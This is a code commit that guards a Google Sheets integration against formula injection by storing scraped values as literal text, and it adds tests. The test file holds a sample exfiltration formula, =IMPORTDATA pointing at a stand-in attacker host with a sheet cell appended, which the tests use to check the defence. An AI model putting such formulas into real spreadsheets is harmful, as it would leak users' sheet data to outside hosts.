fix(sheets): store pushed values as text instead of evaluating formulas

apps/api/services/integrations/sheets.py

@@ -10,6 +10,7 @@
 
 import logging
 import os
+import re
 from typing import Any, Dict, List, Optional
 from urllib.parse import quote
 
@@ -18,6 +19,25 @@
 logger = logging.getLogger("integrations.sheets")
 
 
+_PLAIN_NUMBER = re.compile(r"^[+-]?[0-9]+(\.[0-9]+)?$")
+
+
+def _cell(value: Any) -> str:
+    """Render one value for a USER_ENTERED write without letting it run.
+
+    Values are scraped or enriched from third-party pages, and USER_ENTERED
+    makes Sheets evaluate anything starting with ``=`` (``=IMPORTDATA(...)``
+    can send sheet data to another host). A leading apostrophe stores the text
+    verbatim, and Sheets does not show it. ``+``, ``-`` and ``@`` get the same
+    treatment, which also keeps phone numbers such as ``+1 555 0100`` as text;
+    plain numbers are left to be parsed as numbers.
+    """
+    text = "" if value is None else str(value)
+    if text.startswith(("=", "+", "-", "@", "\t", "\r")) and not _PLAIN_NUMBER.match(text):
+        return "'" + text
+    return text
+
+
 def _token(workspace_id: Optional[str] = None) -> str:
     try:
         from apps.api.services.workspace.secrets import get_secret
@@ -47,7 +67,7 @@ async def append_row(spreadsheet_id: str, values: List[Any],
     )
     headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
     params = {"valueInputOption": "USER_ENTERED", "insertDataOption": "INSERT_ROWS"}
-    body = {"values": [[("" if v is None else str(v)) for v in values]]}
+    body = {"values": [[_cell(v) for v in values]]}
     try:
         async with httpx.AsyncClient(timeout=15) as client:
             resp = await client.post(url, headers=headers, params=params, json=body)
@@ -81,7 +101,7 @@ async def upsert_row(
         return {"success": False, "error": "Google Sheets not connected"}
     if not spreadsheet_id or not idempotency_key:
         return {"success": False, "error": "spreadsheet_id and idempotency_key are required"}
-    row = [idempotency_key, *("" if value is None else str(value) for value in values)]
+    row = [idempotency_key, *(_cell(value) for value in values)]
     base = f"https://sheets.googleapis.com/v4/spreadsheets/{spreadsheet_id}/values"
     headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
     try:

tests/test_sheets_formula_injection.py

@@ -0,0 +1,59 @@
+"""Values pushed to Google Sheets must not be evaluated as formulas."""
+
+import asyncio
+
+import httpx
+import pytest
+
+from apps.api.services.integrations import sheets
+
+FORMULA = '=IMPORTDATA("https://attacker.invalid/?d="&A1)'
+
+
+class _Client:
+    def __init__(self, calls):
+        self.calls = calls
+
+    async def __aenter__(self):
+        return self
+
+    async def __aexit__(self, *args):
+        return None
+
+    async def get(self, url, **kwargs):
+        return httpx.Response(200, json={"values": []})
+
+    async def post(self, url, **kwargs):
+        self.calls.append(kwargs)
+        return httpx.Response(200, json={"updates": {"updatedRange": "Leads!A2:E2"}})
+
+    async def put(self, url, **kwargs):
+        self.calls.append(kwargs)
+        return httpx.Response(200, json={"updatedRange": "Leads!A2:E2"})
+
+
+@pytest.fixture
+def calls(monkeypatch):
+    recorded = []
+    monkeypatch.setattr(sheets, "_token", lambda workspace_id=None: "token")
+    monkeypatch.setattr(sheets.httpx, "AsyncClient", lambda **kwargs: _Client(recorded))
+    return recorded
+
+
+VALUES = [FORMULA, "+1 555 0100", "@cmd", 42, "-7", "Acme = best", None]
+EXPECTED = ["'" + FORMULA, "'+1 555 0100", "'@cmd", "42", "-7", "Acme = best", ""]
+
+
+def test_append_row_stores_formula_like_text_verbatim(calls):
+    result = asyncio.run(sheets.append_row("sheet-1", VALUES, "Leads", "ws-a"))
+
+    assert result["success"] is True
+    assert calls[-1]["params"]["valueInputOption"] == "USER_ENTERED"
+    assert calls[-1]["json"]["values"] == [EXPECTED]
+
+
+def test_upsert_row_stores_formula_like_text_verbatim(calls):
+    result = asyncio.run(sheets.upsert_row("sheet-1", VALUES, "delivery-key", "Leads!A:ZZ", "ws-a"))
+
+    assert result["success"] is True
+    assert calls[-1]["json"]["values"] == [["delivery-key", *EXPECTED]]